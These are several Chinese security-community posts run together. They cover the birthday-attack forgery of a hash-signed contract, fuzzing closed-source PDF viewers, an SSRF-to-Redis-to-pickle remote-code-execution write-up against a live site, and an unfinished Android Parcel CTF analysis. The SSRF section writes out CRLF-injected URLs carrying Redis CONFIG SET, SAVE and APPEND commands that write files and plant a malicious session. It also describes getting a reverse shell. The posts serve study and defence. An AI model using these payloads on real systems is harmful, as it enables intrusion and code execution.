当n=41时，概率为0.9。
所以，小明才有把握说隔壁班上一定有生日相同的人 而自己班上有百分之五十的可能性有生日相同的人。
公式如下图：
对于生日攻击，我们进行如下解释：
A要对一个合同文件进行签名，然后把合同文件和签名一起发送给接收者。
签名的方法：计算文件的哈希值（m位），然后使用A的私钥对这个哈希值进行加密。
接收者使用A的公钥进行解密，然后比较哈希值，这样他就能确认：
接收到的合同文件是A发送的 （因为：可以使用A的公钥对加密的哈希值进行解密）
合同文件未被修改过 （因为：解密的哈希值与合同文件的哈希值相同）
攻击者B想要伪造一份假合同文件，然后发送给接收者，并使接收者仍然相信：
接收到的合同文件是A发送的 （要求：必须能用A的公钥对加密的哈希值进行解密）
合同文件未被修改过 （要求：解密的哈希值与合同文件的哈希值相同）
攻击方法：
B先准备 2m/2 个有效合同文件（集合X），每个文件包含与原合同文件相同的意思。
B再准备 2m/2 个伪造合同文件（集合Y），每个文件也都是希望的伪造合同的意思。
`注：要产生包含相同意思的许多文件，其实不难做到。 例如要生成 2^32 个文件，方法是：
在文件中找到32个地方，每个地方使用两种方式表达相同意思，这样组合起来，就有了 2^32 个文件，这些文件要表达的意思都相同。`
然后比较集合X和集合Y，找到哈希值相同的两个文件，一份是有效合同，一份是伪造合同。
B成功的概率会大于0.5，如果没有找到匹配的文件，就再准备更多的有效文件和伪造文件，直到找到两个匹配的文件。
B把找到的有效合同文件提供A，A看了一下，没什么问题，就做了签名，然后发送给接收者。
在接收者收到消息之前，B截获了这个消息，然后使用伪造合同替换了有效合同，再把伪造合同和原签名一起发送给接收者。
因为伪造合同与有效合同的哈希值相同，所以它们产生相同的签名。
### 四、哈希算法的延伸—布隆过滤器
布隆过滤器是基于哈希算法的一种大胆的尝试。首先我们要了解Hash快速查找方法，这种方法比较简单，所以这里我们就不进行解释了。而我们知道传统的基于哈希的映射方法存在很大弊端，既需要开辟很大的数组空间来存储结果，并且会有很严重的冲突概率。于是“布隆过滤器”则孕育而生。
简单来说，其采用了多个hash函数来提高空间利用率。对一个给定的输入，多个哈希可以计算出多个地址，并分别在相应的地方标记1（`如上图中一个邮件地址可以被八个函数计算、映射。`）进行查找时，如果此八个地址均为1，那么我们就很有把握断定该输入的确存在。此方法大大提高了空间利用率，可以使用较少空间来表示较大集合的存在关系。
再者，我们可以发现此过滤器虽然存在误报情况，但是绝对不会存在漏报的情况。
详细解释请看[布隆过滤器](https://blog.csdn.net/qq_16234613/article/details/82798892)
### 五、总结
密码学是区块链的核心理论，而哈希又是密码学的代表作。在上述内容中，我们从什么是密码学开始，到区块链中的哈希算法到最后的哈希经典应用。一步一步从浅入深，而除了保证数据安全，提高工作效率外，哈希算法也在以后的区块链发展中有越来越重要的地位。希望文章能为大家带来帮助。
### 六、参考链接
* 1 [https://blog.csdn.net/s_lisheng/article/details/77937202?locationNum=7&fps=1](https://blog.csdn.net/s_lisheng/article/details/77937202?locationNum=7&fps=1)
* 2 <https://shadowdragons.github.io/2018/04/05/ripemd160/>
* 3 [https://blog.csdn.net/s_lisheng/article/details/77937202?locationNum=7&fps=1](https://blog.csdn.net/s_lisheng/article/details/77937202?locationNum=7&fps=1)
* 4 <https://blog.csdn.net/ddk3001/article/details/52647990>
* 5 <https://blog.csdn.net/qq_16234613/article/details/82798892>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# Fuzz闭源的PDF阅读器
|
##### 译文声明
本文是翻译文章，文章原作者 gosecure，文章来源：gosecure.net
原文地址：<https://www.gosecure.net/blog/2019/07/30/fuzzing-closed-source-pdf-viewers>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本篇文章介绍了fuzz闭源PDF阅读器时出现的典型问题以及解决这些问题可能的方法。在这里着重于介绍了两点：最小化输入和适时终止目标程序。
## 正文
模糊PDF阅读器的核心思想非常简单:只需要拿一个PDF文件，稍微破坏(修改部分PDF二进制流字节)它并检查它是否会使阅读器崩溃。这听起来非常简单，但要正确而且有效地完成却非常困难。PDF文件格式是目前使用最多且最重要的格式之一。因此，PDF阅读器的漏洞曾被广泛的[利用](https://www.exploit-db.com/exploits/34603)并且在2018年依旧有很多[exp](https://blog.malwarebytes.com/threat-analysis/2018/05/adobe-reader-zero-day-discovered-alongside-windows-vulnerability/)被开发。通过查看报告给主流PDF阅读器的[bug](https://www.zerodayinitiative.com/advisories/published/)数量显示，现在仍有许多强化需要做。因此，我想为这两者—PDF阅读器的安全性和模糊测试社区做出一些贡献。
Fuzz PDF阅读器时通常会遇到的问题如下:
> * 在什么情况下Fuzzer可以确定没有发生崩溃?
> * PDF阅读器从不显示它已完成解析或呈现给定的PDF。应用程序何时可以关闭？
> * 应选择哪些PDF作为突变模板？
> * 所选PDF应尽可能多地覆盖到目标代码。如果无法获得源代码，如何有效地计算代码覆盖率？
>
### 问题:无法终止程序
正常Fuzzee的终止是向Fuzzer发出信号，表示它已完成处理并且没有发生崩溃。这对于Fuzzer很重要，因为这表示现在可以开始下一次测试迭代。而PDF阅读器的问题在于它们从不自行终止，因此Fuzzers缺少一个度量标准来确定何时可以启动下一个测试用例。
大多数现有的Fuzzers所做的事情大概就两种，他们要么使用硬编码检测超时，如果没有发生崩溃就会杀死应用程序，或者他们不断地轮询目标的CPU周期量并假设程序在低于某个阈值时可以被关闭
。
对于这两者：超时和阈值必须精确的确定，但或多或少是可以猜测的。对于Fuzzer来说，这意味着它可能太早(可能会丢失崩溃)或太迟(浪费时间)关闭应用程序。
### 方法:如何终止程序
我们的想法是找到阅读器的最后一个基本块，当它被赋予有效输入时执行。这里的假设是，只有当目标阅读器完全解析并呈现给定的PDF时，才会执行此基本块。从下一个输入开始，必须以终止程序的方式修补此块。
为了找出程序中哪些基本块已在运行时执行，研究人员利用了一个名为 **Program Tracing**
(程序跟踪)的概念。我们的想法是让目标生成有关其执行(踪迹)的附加信息，例如内存使用，采用分支或执行的基本块。由于目标不是创建这些信息，因此必须向其添加说明。此过程称为“Program
Instrumentation(程序检测)”。在开源环境中，目标程序可以简单地使用其他编译器扩展(例如AddressSanitizer(ASAN))进行重新编译，这些扩展将负责在编译时添加检测。显然，这对于闭源PDF阅读器来说是不可能的。
幸运的是，我们有一个令人惊奇的框架“DynamoRIO”，应用此工具不需要任何源代码，因为它是在运行时检测程序的(动态二进制检测)。
drrun.exe -t drcov -dump_text -- Program.exe
创建的程序跟踪看起来像这样:
可以看出，跟踪显示了哪个模块的基本块已经执行，并且它保留了基本块的顺序，这使得确定最后一个基本块变得相当容易。因此，找出目标PDF阅读器执行的最后一个基本块，通过向其提供不同但有效的PDF文件来创建多个跟踪。然后我们会发现很明显，在靠近追踪链路末端的某处通常存在一个共同的基本块，这是必须被检测的块。
不幸的是，只有在程序退出后才会将跟踪写入磁盘，因此必须在此处使用(高)硬编码超时。
现在找到了最后一个公共基本块，需要对其进行修补，以便终止程序。这可以通过覆盖基本块来实现：
Xor eax, eax
push eax
Push Address_Of_ExitProcess
ret
这里问题是它需要9个字节来表示这些指令。如果基本块的大小不是9个字节，则后续指令将被破坏。
为了解决这个问题，可以在PE文件中添加一个新的可执行部分，其中包含上面的指令。因此，可以通过跳转到新添加的部分来修补基本块：
push SectionAddress
ret
为了修补目标，可以使用框架[LIEF](https://github.com/lief-project/LIEF)，这使得更改给定的PE文件变得相当容易。
不过很显然，使用断点修补基本块要容易得多，这是一个单字节指令。许多现有的Fuzzers依赖于程序终止的情况，因此不能用于定位PDF阅读器。这里可应用退出检测。
该方法是自动化的，并成功用于多个PDF和图像查看器：
> 1. FoxitReader
> 2. PDFXChangeViewer
> 3. XNView
>
下面的屏幕截图给出了在汇编层面上的补丁。请注意，修补后的版本将返回到新添加的部分。
## 输入最小化
Fuzzing的成功在很大程度上取决于初始输入集(语料库)。因此，必须确保语料库尽可能多地覆盖目标代码，因为这增加了在其中发现bug的机会。此外，必须避免语料库中的冗余，以便每个PDF触发目标的独特行为。
对此的常见方法是称为“语料库蒸馏”(Corpus
Distillation)。这样做的核心思想是首先收集大量有效的输入。然后，对于每个输入，测量基本块的代码覆盖，如果输入仅触发先前输入已经访问过的基本块，则将其从集合中移除。
corpus = []
inputs = [I1, I2, .... In]
for input in inputs:
new_blocks = execute(program, input)
if new_blocks:
corpus.append(input)
同样，需要创建程序跟踪。由于没有源代码，动态二进制检测似乎是测量基本块代码覆盖率的唯一选择。
这里的问题是动态二进制检测似乎会产生无法接受的开销。
为了证明这一点，我们用自动退出方法修补了FoxitReader，并测量了FoxitReader自动终止的时间。
> 1. Vanilla: 1,5 seconds
> 2. DynamoRIO: 6,4 seconds
>
在这里，动态二进制检测会导致近5秒的开销，这太高而导致无法执行有效的语料库蒸馏。
### 解决方案
由于动态二进制检测太慢而无法执行语料库蒸馏，因此必须找到另一种方法来测量基本的块代码覆盖率。这个想法包含两部分：
> 1. 静态二进制检测
> 2. 创建一个处理检测的自定义调试器
>
首先，使用断点(一个字节指令(0xcc))对目标中的每个基本块进行修补。静态补丁应用于磁盘上的二进制文件。如果执行了任何基本块，它将触发断点事件(int3)，该事件可由监督调试器获取。调试器获取int3事件，并在两者中(磁盘上的二进制文件和原始字节的地址空间中的二进制文件)覆盖断点。
最后，目标的指令指针递减1并恢复执行。
下面的屏幕截图显示了检测的基本块：
通过断点，调试器很容易识别哪些基本块已被执行。
为了评估这种方法的性能，FoxitReader所有的基本块都使用断点进行修补(1778291个基本块)
在第一次迭代中，FoxitReader花了16秒然后退出。这比DynamoRIO慢了10秒。但是由于断点在磁盘上的二进制文件中被撤消，它们将永远不会再触发int3事件。因此，可以假设在第一次迭代之后，大多数断点已经被恢复，因此开销应该是合理的。
> 1. 第一次迭代：16秒(48323个断点)
> 2. 第二次迭代：2秒(2212个断点)
> 3. 第三和以下：~1.5秒(断点数少)
>
可以看出，在第一次迭代之后，检测产生了最小的开销，但是调试器仍然能够标识任何新访问的基本块。
这种方法在主要产品上进行了测试，并在所有方面完美运行：
> 1. Adobe Acrobat Reader
> 2. PowerPoint
> 3. FoxitReader
>
## Fuzzing
通过爬取互联网收集了80,000个PDF，并将该集合最小化为220个独特的PDF，耗时约1.5天。使用此最小化设置，执行模糊测试。结果非常好，并且所有崩溃都被推送到数据库中：
最终，Fuzzer在大约2个月的时间内发现了43个独特的崩溃，其中三个将其报告给了Zero Day Initiative。他们被分配了以下ID：
> * [ZDI-> CAN-7423](https://www.zerodayinitiative.com/advisories/ZDI-19-135/)：Foxit
> Reader PDF解析的Out-Of-Bounds Read远程代码执行漏洞
> * [ZDI-> CAN-7353](https://www.zerodayinitiative.com/advisories/ZDI-19-134/)：Foxit
> Reader PDF解析的Out-Of-Bounds Read信息泄露漏洞
> * [ZDI-> CAN-7073](https://www.zerodayinitiative.com/advisories/ZDI-18-1213/)：Foxit
> Reader PDF解析的Out-Of-Bounds Read信息泄露漏洞
> | 社区文章 |
# 【技术分享】Python安全 - 从SSRF到命令执行惨案
##### 译文声明
本文是翻译文章，文章来源：leavesongs.com
原文地址：<https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html>
译文仅供参考，具体内容表达以及含义原文为准。
作者：[ph17h0n](http://bobao.360.cn/member/contribute?uid=725715450)@leavesongs.com
前两天遇到的一个问题，起源是在某个数据包里看到url=这个关键字，当时第一想到会不会有SSRF漏洞。
以前乌云上有很多从SSRF打到内网并执行命令的案例，比如有通过SSRF+S2-016漏洞漫游内网的案例，十分经典。不过当时拿到这个目标，我只是想确认一下他是不是SSRF漏洞，没想到后面找到了很多有趣的东西。截图不多（有的是后面补得），大家凑合看吧。
**0x01 判断SSRF漏洞**
目标example.com，根据其中csrf_token的样式，我猜测其为flask开发（当然也可能是一个我不太熟悉的框架使用了和flaskwtf相似的代码）：
开着代理浏览了一遍整个网站的功能，功能点不多，比较小众的一个分享型站点。偶然间在数据包里看到url=，看了一下发现是一个本地化外部图片这么一个功能。这种功能很容易出现两种漏洞：
SSRF漏洞
XSS漏洞
SSRF漏洞就不用多说了，在拉取外部资源的时候没有检查URL，导致可以向内网发送请求；XSS漏洞容易被忽略，拉取到目标后储存的时候没有过滤特殊字符，就可能导致XSS漏洞。
简单fuzz一下，依次访问http://127.0.0.1:80/、http://127.0.0.1:80/404404404not_found、http://127.0.0.1:12321/
依次返回了error和两个500，这三个结果分别代表什么？
因为平时做Python开发比较多，这种500的情况也见的比较多，通常是因为代码没有捕捉异常导致返回500。感觉第二个可能是HTTP请求404导致抛出异常，而第三个可能是TCP连接被拒绝（12321端口未开放）导致抛出异常。
虽然我还没理清目标的代码逻辑，但我能肯定这其中存在SSRF漏洞。
**0x02 鸡肋redis服务？**
经过简单的测试，我发现目标站点下载外部资源后，会检查资源类型是否是图片，不是图片则返回error。这样就很尴尬了，这是一个没有回显的SSRF漏洞。
这时候我突然想到，既然是判断图片，会不会是用imagemagick组件来判断的？然后我将imagetragick的POC保存到外网的某个poc.gif里，然后让其访问：
直接把内容返回了，没出现error，也没500，但命令也没执行成功。
当时没想清楚目标究竟是怎么判断图片的，后来拿到shell以后看了源码才知道：目标是判断返回包的content-type，如果不是图片就直接返回error，我想的太复杂了。
imagemagick这条路死了，我就没再研究这块逻辑。因为我不知道目标内网IP段，所以准备先探测一下127.0.0.1的端口，我列了一些常用端口，用Burp跑了一下：
看到6379是200的时候，我着实激动了一下，众所周知，在渗透中遇到redis是一件很愉快的事情。
不过我很快发现，GET请求我没法控制Redis的命令。
科普一下，Redis的协议是简单的文本流，比如我可以向6379端口发送如下TCP流：
SET x 1
SET y 2
每行代表一个命令，上述数据包执行了两条set命令。但现在尴尬的是，普通GET请求的数据包如下：
GET / HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
我控制不了任意一行的起始部分，也就没法自定义redis命令了，非常鸡肋……
**0x03 CVE-2016-5699 化腐朽为神奇**
真的鸡肋么？
去年，Python的urllib库曾出过一个头注入的漏洞，CVE-2016-5699（
http://blog.neargle.com/SecNewsBak/drops/Python%20urllib%20HTTP%E5%A4%B4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
）
因为在CTF里有过类似的思路，所以我基本第一时间就想到了。我在外网服务器用nc开了个端口，在目标web页面传入http://[vps-ip]%0d%0aX-injected:%20header:12345/foo，发现果然注入成功了：
有点小激动，因为之前只是听说过这个漏洞，没有真实案例的依托，这次真遇到了。如果我们能注入HTTP头，也就能控制发送往Redis的数据包的某一行，这样就能执行任意Redis命令了。
有点怕影响目标站，我先在本地搭了个类似的环境。
攻击Redis有几个思路，核心就在于写文件。在本地测试，发现了几个巨坑：
CONFIG SET dir /tmp，传递斜线/的时候必须进行二次编码（%252f），否则urllib2会抛出URLError: <urlopen
error no host given>的异常。
url过长会导致抛出UnicodeError: label empty or too long的异常，所以我需要依次传入CONFIG
SET、SAVE等几个命令。
最后，我依次发送http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%252ftmp%0d%0a:6379/foo、http://127.0.0.1%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo、http://127.0.0.1%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo，最后成功在本地写入/tmp/evil文件。
不过目标环境就有点蛋疼了，一是完全没有回显，我无法知道我是否写入成功；二是失败原因我无法预测，有可能是redis有密码，或redis是普通权限，或config
set命令被禁用等等。
感觉又是一个比较蛋疼和鸡肋的情境。
**0x04 Python反序列化逆袭**
果然在线上环境尝试写入cron文件，都没成功反弹回shell。
在这个地方卡了很久，思路一直在考虑“是否真的成功写入文件”这个问题，如果“成功写入了文件”，为什么没有反弹到shell；如果没有成功写入文件，是不是没有权限，是否可以写入python的webshell？总结起来有几个思路：
写入ssh key进行getshell。但扫端口发现似乎并没有开放22，推测是更换了ssh端口并进行的IP限制，或者直接没有运行sshd。
写入cron尝试反弹shell，但没成功。也许是redis没权限，也许是因为目标是ubuntu或debian，这两个系统对于cron文件格式限制会比较严，很难用redis反弹shell。
写入python的webshell，但可能也会遇到文件格式要求过严导致python运行失败，而且通常写入python脚本需要重启服务器才能奏效
写入jinja2模板文件，并通过模板引擎支持的语法执行命令。
总结起来，第4个方法最靠谱，因为模板文件对格式要求不严，只要我需要执行的语句放在类似{{
}}的标签中即可。但经过测试，还是有几个问题：一是web路径（关键是存放模板文件的路径）和模板名称都需要猜，这个太难；二是redis如果是从源进行安装，一般是redis用户运行，一般无法写入web目录。
吃个夜宵再回来想想，我觉得首先得解决“是否真的成功写入文件”这个问题。后面fuzz了一下，测试了一堆目录，发现成功在/var/www/html/static下写入了文件，并通过http://example.com/static/xxxfile直接可以访问！
下载刚写入的文件，其实这个文件即为redis的导出文件。我将之导入到自己本地的redis环境中，又是一个惊喜：
看到这个样式的数据，我就知道这一定是反序列化数据，而且是Python2.7的反序列化数据。
这里科普一下，Python2.7和3.5默认使用的序列化格式有所区别，一般带有括号和换行的序列化数据是2.7使用的，而包含x00的一般是3.5使用的。
后续利用就和 https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
这篇文章一个套路。目标站使用redis存储session数据，且session数据使用序列化保存，我们可以通过反序列化来执行任意命令。
使用python2.7构造一个执行反弹shell脚本的序列化数据，并通过SSRF漏洞设置成session:hacker的值，然后访问目标站点的时候设置Cookie
session=hacker。
不过有一点需要注意，就是SSRF时URL太长的话会抛出错误（之前本地测试的时候说过），所以需要曲线救国，使用redis的append命令，将数据一段一段写入，类似于这样：
另外还有个坑，写入的时候，特殊字符（如换行）需要转义：http://127.0.0.1%0d%0aAPPEND%20session:hacker%20"(S'id'np1ntp2nRp3n."%0d%0aSAVE%0d%0a:6379/，而且只有值被引号包裹时转义符才能转义，否则转义符又会被转义……这个把我坑了好久，差点就以为功亏一篑了。
最后感觉，挖漏洞思路还是得跳，之前一直在考虑怎么通过redis写文件来进行getshell，却没想到通过读取redis的备份文件，找到了突破口。
成功反弹shell：
**总结**
这一次案例，出现漏洞的根本原因有几个：
Web层面出现SSRF漏洞
Python版本过低，存在CVE-2016-5699头注入漏洞
Redis版本过低，新版Redis写入的文件权限一般是660，可以极大程度上避免写文件造成的漏洞
拿到shell以后我看了下源码，其逻辑是这样：获取用户传入的url参数，直接发送HTTP请求并拿到返回对象，判断返回对象的Content-Type是否包含image，如果包含则离线数据并显示出来，否则返回error。
这就导致HTTP请求一旦出现错误，服务器就会抛出500，而返回error是手工判断的结果，所以状态码还是200。
另外还有个感想，我怕把目标环境搞坏了，整个过程中多次用到了本地环境进行测试，而所有本地环境都是用docker启动的 ，非常方便。
之后我应该会模拟一下这个目标，做一个vulhub环境给大家，有时间再说吧…… | 社区文章 |
# 一道Android Pwn分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 写在前面
本文以`2020-De1CTF-Pwn-BroadCastTest`为例，意图阐述`Android
Pwn`中`CVE-2017-13288`的分析及利用思路。
本文的部分思路是经过`5k1l[@W](https://github.com/W "@W")&M`狮虎的讲解完成的，在此特别鸣谢狮虎给予的帮助。
## 0x02 题目文件分析
首先，题目给出的是一个`APK`文件和一个`nc`链接地址，`nc`之后首先是一个简单的哈希验证。
chal= S4PJouSirebgoAoK
sol = sys.stdin.buffer.read(4)
sha256(chal + sol).digest().startswith(b'')
使用以下代码即可成功通过验证
from pwn import *
import hashlib
context.log_level = 'debug'
sh = remote('206.189.186.98',8848)
sh.recvuntil('chal=')
chal = sh.recvuntil('n',drop=True)
info('chal = ' + chal)
Success_flag = False
for i_0 in range(255):
if not Success_flag:
for i_1 in range(255):
if not Success_flag:
for i_2 in range(255):
if not Success_flag:
for i_3 in range(255):
if not Success_flag:
maybe_sol = chr(i_0) + chr(i_1) + chr(i_2) + chr(i_3)
if (hashlib.sha256(chal + maybe_sol).digest().startswith(b'')) :
success('sol = ' + maybe_sol)
sh.sendlineafter('>>n',maybe_sol)
Success_flag = True
sh.interactive()
## 0x03 漏洞利用
### 反编译并将代码转移至开发环境
1.接下来我们使用`jadx`分析给出的文件，为了方便我们调试，我们此处选择使用开发环境建立一个`Android`项目，直接使用`jadx`分析出的代码，此处有两个小`Tips`:
可以在项目进行`gradle sync`操作时，修改`build.gradle`文件，加入以下代码：
// Top-level build file where you can add configuration options common to all sub-projects/modules.
buildscript {
repositories {
//replace mavenCentral() and jcenter() in china
maven {
url 'https://maven.aliyun.com/repository/public/'
}
//replace google() in china
maven {
url 'https://maven.aliyun.com/repository/google/'
}
maven {
url 'https://maven.aliyun.com/repository/jcenter/'
}
google() jcenter()
}
dependencies {
classpath 'com.android.tools.build:gradle:3.6.0-rc01'
// NOTE: Do not place your application dependencies here; they belong
// in the individual module build.gradle files
}
}
allprojects {
repositories {
//replace mavenCentral() and jcenter() in china
maven {
url‘https: //maven.aliyun.com/repository/public/‘ }
//replace google() in china
maven {
url‘https: //maven.aliyun.com/repository/google/‘ }
maven {
url‘https: //maven.aliyun.com/repository/jcenter/‘ }
google() jcenter()
}
}
task clean(type: Delete) {
delete rootProject.buildDir
}
这样可以显著增加gradle sync时的下载速度。
2.将所有的类代码复制过来以后，需要修改AndroidManifest.xml文件，加入以下代码：
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.de1ctf_broadcasttest">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<receiver android:name="com.example.de1ctf_broadcasttest.MyReceiver1" android:enabled="true" android:exported="false">
<intent-filter>
<action android:name="com.example.de1ta.receiver3"/>
</intent-filter>
</receiver>
<receiver android:name="com.example.de1ctf_broadcasttest.MyReceiver2" android:enabled="true" android:exported="false">
<intent-filter>
<action android:name="com.example.de1ta.receiver2"/>
</intent-filter>
</receiver>
<receiver android:name="com.example.de1ctf_broadcasttest.MyReceiver3" android:enabled="true" android:exported="true">
<intent-filter>
<action android:name="com.example.de1ta.receiver1"/>
</intent-filter>
</receiver>
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>
目的是为了静态注册`receiver`，以防止后续调试出现问题。
### 在开发环境中调试确定程序逻辑
首先可以发现，在`onCreate`类中并没有有用的逻辑，那么，交互一定存在于`MyReceiver`系列中。
`MyReceiver`系列均继承了`BroadcastReceiver`父类，并均重写了`onReceive`方法。
#### 关于`Parcelable`及`Bundle`
`Android`提供了独有的`Parcelable`接口来实现序列化的方法，只要实现这个接口，一个类的对象就可以实现序列化并可以通过`Intent`或`Binder`传输，见下面示例中的典型用法。
public class MyParcelable implements Parcelable {
private int mData;
public int describeContents() {
return 0;
}
public void writeToParcel(Parcel out, int flags) {
out.writeInt(mData);
}
public void readFromParcel(Parcel reply) {
mData = in.readInt();
}
public static final Parcelable.Creator<MyParcelable> CREATOR
= new Parcelable.Creator<MyParcelable>() {
public MyParcelable createFromParcel(Parcel in) {
return new MyParcelable(in);
}
public MyParcelable[] newArray(int size) {
return new MyParcelable[size];
}
};
private MyParcelable(Parcel in) {
mData = in.readInt();
}
}
其中，关键的`writeToParcel`和`readFromParcel`方法，分别调用`Parcel`类中的一系列`write`方法和`read`方法实现序列化和反序列化。
可序列化的`Parcelable`对象一般不单独进行序列化传输，需要通过`Bundle`对象携带。
`Bundle`的内部实现实际是`Hashmap`，以`Key-Value`键值对的形式存储数据。例如，`Android`中进程间通信频繁使用的`Intent`对象中可携带一个`Bundle`对象，利用`putExtra(key,
value)`方法，可以往`Intent`的`Bundle`对象中添加键值对(`Key
Value`)。`Key`为`String`类型，而`Value`则可以为各种数据类型，包括`int`、`Boolean`、`String`和`Parcelable`对象等等，`Parcel`类中维护着这些类型信息。各类型定义见`/frameworks/base/core/java/android/os/Parcel.java`
// Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h.
private static final int VAL_NULL = -1;
private static final int VAL_STRING = 0;
private static final int VAL_INTEGER = 1;
private static final int VAL_MAP = 2;
private static final int VAL_BUNDLE = 3;
private static final int VAL_PARCELABLE = 4;
private static final int VAL_SHORT = 5;
private static final int VAL_LONG = 6;
private static final int VAL_FLOAT = 7;
对`Bundle`进行序列化时，依次写入携带所有数据的长度、`Bundle`魔数(`0x4C444E42`)和键值对。见`BaseBundle.writeToParcelInner`方法
int lengthPos = parcel.dataPosition();
parcel.writeInt(-1); // dummy, will hold length
parcel.writeInt(BUNDLE_MAGIC);
int startPos = parcel.dataPosition();
parcel.writeArrayMapInternal(map);
int endPos = parcel.dataPosition();
// Backpatch length
parcel.setDataPosition(lengthPos);
int length = endPos - startPos;
parcel.writeInt(length);
parcel.setDataPosition(endPos);
`pacel.writeArrayMapInternal`方法写入键值对，先写入`Hashmap`的个数，然后依次写入键和值
/*
* Flatten an ArrayMap into the parcel at the current dataPosition(),
* growing dataCapacity() if needed. The Map keys must be String objects.
*/
/* package */
void writeArrayMapInternal(ArrayMap<String, Object> val) {
...
final int N = val.size();
writeInt(N);
...
int startPos;
for (int i=0; i<N; i++) {
if (DEBUG_ARRAY_MAP) startPos = dataPosition();
writeString(val.keyAt(i));
writeValue(val.valueAt(i));
...
接着，调用`writeValue`时依次写入`Value`类型和`Value`本身，如果是`Parcelable`对象，则调用`writeParcelable`方法，后者会调用`Parcelable`对象的`writeToParcel`方法。
public final void writeValue(Object v) {
if (v == null) {
writeInt(VAL_NULL);
} else if (v instanceof String) {
writeInt(VAL_STRING);
writeString((String) v);
} else if (v instanceof Integer) {
writeInt(VAL_INTEGER);
writeInt((Integer) v);
} else if (v instanceof Map) {
writeInt(VAL_MAP);
writeMap((Map) v);
} else if (v instanceof Bundle) {
// Must be before Parcelable
writeInt(VAL_BUNDLE);
writeBundle((Bundle) v);
} else if (v instanceof PersistableBundle) {
writeInt(VAL_PERSISTABLEBUNDLE);
writePersistableBundle((PersistableBundle) v);
} else if (v instanceof Parcelable) {
// IMPOTANT: cases for classes that implement Parcelable must
// come before the Parcelable case, so that their specific VAL_*
// types will be written.
writeInt(VAL_PARCELABLE);
writeParcelable((Parcelable) v, 0);
反序列化过程则完全是一个对称的逆过程，依次读入`Bundle`携带所有数据的长度、`Bundle`魔数(`0x4C444E42`)、键和值，如果值为`Parcelable`对象，则调用对象的`readFromParcel`方法，重新构建这个对象。
#### `MyReceiver1`分析(下简称`MR1`)
public class MyReceiver1 extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
int id = intent.getIntExtra("id", 0);
String data = intent.getStringExtra("data");
if (id != 0 && data != null) {
try {
byte[] buffer = Base64.decode(data, 0);
Parcel dest = Parcel.obtain();
dest.unmarshall(buffer, 0, buffer.length);
dest.setDataPosition(0);
Intent intent1 = new Intent();
intent1.setAction("com.de1ta.receiver2");
intent1.setClass(context, MyReceiver2.class);
Bundle bundle = new Bundle();
bundle.readFromParcel(dest);
intent1.putExtra("id", id);
intent1.putExtra("message", bundle);
context.sendBroadcast(intent1);
} catch (Exception e) {
Log.e("De1taDebug", "exception:", e);
Log.d("De1ta", "Failed in Receiver1! id:" + id);
}
}
}
}
首先程序会从`intent`对象的扩展数据中获取`id`和`data`这两个键值
> get<type>Extra 和
> put<type>Extra函数相反，分别代表从对象的扩展数据(若干键值对)中依据key获取value和向对象的扩展数据加入键值的行为。getIntExtra接受两个参数，即key和defaultValue
> ，其中defaultValue代表若对象的扩展数据中无key对应的键值对，则返回defaultValue。getIStringExtra接受一个参数，即key
> ，若对象的扩展数据中无key对应的键值对，则返回null。
接着程序对传入的`data`进行`base64`解码，然后建立一个`Parcel`对象`dest`，接下来就是将经过解码的`data`置入`dest`，接下来创建一个`Intent`对象`intent1`，将`dest`封入`Bundle`对象`bundle`并将其作为扩展数据封入`intent1`，再次发送针对`MyReceiver2`的广播。
#### `MyReceiver2`分析(下简称`MR2`)
public class MyReceiver2 extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getBundleExtra("message");
int id = intent.getIntExtra("id", 0);
String command = bundle.getString("command");
if (id == 0 || command == null || command.equals("getflag")) {
Log.d("De1ta", "Failed in Receiver2! id:" + id);
return;
}
try {
Intent intent1 = new Intent();
intent1.setAction("com.de1ta.receiver3");
intent1.setClass(context, MyReceiver3.class);
intent1.putExtra("id", id);
intent1.putExtra("message", bundle);
context.sendBroadcast(intent1);
} catch (Exception e) {
Log.e("De1taDebug", "exception:", e);
Log.d("De1ta", "Failed in Receiver2! id:" + id);
}
}
}
这里进行第一次验证，从接收到的`bundle`中的`command`键取对应的`value`，要求取到的`value`不能和`getflag`相同。
然后，将`bundle`再次封装并发送给`MyReceiver2`。
#### `MyReceiver3`分析(下简称`MR3`)
public class MyReceiver3 extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
String command = intent.getBundleExtra("message").getString("command");
int id = intent.getIntExtra("id", 0);
if (id == 0 || command == null || !command.equals("getflag")) {
Log.d("De1ta", "Failed in Receiver3! id:" + id);
return;
}
Log.d("De1ta", "Congratulations! id:" + id);
}
}
这里进行第二次验证，从接收到的`bundle`中的`command`键取对应的`value`，要求取到的`value`必须和`getflag`相同。
### 从不可能事件中推测并确定漏洞点
也就是说，此处的逻辑是，将我们发送到`MR1`的数据封包，然后发送至`MR2`，拆包检查`command`的值，再次封包，然后发送至`MR3`，拆包检查`command`的值，
**要求这两次检查中的`command`的值不相同**！这看起来是不可能的！
这里其实可以注意到，在`MainActivity`中，我们已经对`Parcelable`接口的逻辑进行了重写，也就是说，漏洞点极有可能是在封包拆包过程中，其内部数据已经发生了改变！
这里我们将封包拆包的代码重叠给出
this.bssid = in.readString();
dest.writeString(this.bssid);
this.burstNumber = in.readInt();
dest.writeInt(this.burstNumber);
